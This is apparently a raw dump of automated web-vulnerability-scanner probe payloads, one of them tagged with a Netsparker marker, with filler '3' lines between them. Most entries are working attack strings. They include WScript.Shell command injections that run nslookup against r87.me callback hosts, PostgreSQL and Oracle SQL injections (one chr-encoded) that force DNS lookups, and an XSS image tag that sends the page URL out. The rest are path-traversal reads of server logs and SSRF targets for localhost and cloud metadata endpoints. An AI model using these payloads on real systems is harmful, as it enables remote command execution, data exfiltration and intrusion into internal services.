3

http://[::1]:22

3

+createobject("WScript.Shell").exec("nslookup h_cszcnetx6ehyy3kgxg89uzxj_80zndcqyjvnpe" & "qc0.r87.me").StdOut.ReadAll+

<iMg src=N onerror="this.onerror='';this.src='//h_cszcnetxkiwnz3gju7dz_67sfruci1rgpn4ryp'+'sru.r87.me/r/?'+location.href">

cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(104)||chr(95)||chr(99)||chr(115)||chr(122)||chr(99)||chr(110)||chr(101)||chr(116)||chr(120)||chr(121)||chr(106)||chr(97)||chr(109)||chr(52)||chr(57)||chr(114)||chr(108)||chr(121)||chr(116)||chr(99)||chr(106)||chr(112)||chr(57)||chr(100)||chr(97)||chr(107)||chr(99)||chr(115)||chr(118)||chr(98)||chr(106)||chr(51)||chr(122)||chr(102)||chr(115)||chr(105)||chr(53)||chr(99)||chr(102)||chr(105)||chr(100)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)

3

/../../../../../../../../../../var/log/nginx/access.log

+createobject("WScript.Shell").exec("nslookup h_cszcnetxwpl2r2ed8xbddtqhmngts5raffe0rg" & "p6k.r87.me").StdOut.ReadAll+

http://127.0.0.1:3306

3

3

3

'||(SELECT dblink_connect('host=h_cszcnetxqrr-pco4k6yk6i1xxvveldbkw7kkcu'||'0gy.r87.me user=a password=a connect_timeout=2'))||'

3

1 x onload=netsparker(0x0A0407)

<%createobject("WScript.Shell").exec("nslookup h_cszcnetxurza12lbs2q2c9-am1zvm8ymxl92po" & "yiq.r87.me").StdOut.ReadAll%>

/../../../../../../../../../../opt/lampp/logs/access_log

3

http://54.243.205.65:3306

'||(SELECT dblink_connect('host=h_cszcnetxwunu1hdfwg3nw0sumoodyyhr_xqyg3'||'kbs.r87.me user=a password=a connect_timeout=2'))||'

3

<%createobject("WScript.Shell").exec("nslookup h_cszcnetxnnahdifybikbnm5yhqptyd3wbqxkng" & "2qy.r87.me").StdOut.ReadAll%>

3

/../../../../../../../../../../var/log/lighttpd/access.log

(select UTL_INADDR.GET_HOST_ADDRESS('h_cszcnetxzkhalqcuv3gxpq_h6h09i-i0lavapm'||'0c4.r87.me') from DUAL)

3

http://[::1]:3306

"+createobject("WScript.Shell").exec("nslookup h_cszcnetx6ksp8eprxcxs2uehzrvwp0aegws1yh" & "a-a.r87.me").StdOut.ReadAll+"

(select UTL_INADDR.GET_HOST_ADDRESS('h_cszcnetxug0rrx1yuxwvabohfsuwhfjgkivnil'||'pww.r87.me') from DUAL)

3

/../../../../../../../../../../AppServ/Apache24/logs/access.log

3

"+createobject("WScript.Shell").exec("nslookup h_cszcnetxnrw3hk47vt-ew7ieiy-c3rw3zfy0q9" & "rsy.r87.me").StdOut.ReadAll+"

https://www.imagwiki.nibib.nih.gov/server-status

3

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('h_cszcnetx1z_ld9edat_znsh6wbxxfjd9qxkkrx'||'jak.r87.me') from DUAL))))

3

gethostbyname(lc 'h_cszcnetxkpf8jd8srib0vtqz8gaqh0gzfknzsh'.'i9u.r87.me')

../../../../../../../../../../xampp/apache/logs/access.log

http://169.254.169.254/opc/v1/instance

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('h_cszcnetxyxdw5txsqollgbyshdxjlmwv_4nfkp'||'a7w.r87.me') from DUAL))))

3

gethostbyname(lc 'h_cszcnetxxwk2wpinpxokibpez_ye7d-mv0zod1'.'prg.r87.me')

/../../../../../../../../../../var/log/apache/access.log

3

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('h_cszcnetx75xj6e3s-5sukkcyml4vp5kzjle0u4'||'qbg.r87.me') from DUAL))||'

https://metadata.packet.net/metadata

3

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('h_cszcnetxt34bmpwckkxcyauahyqlhqvoihuhpu'||'ux4.r87.me') from DUAL))||'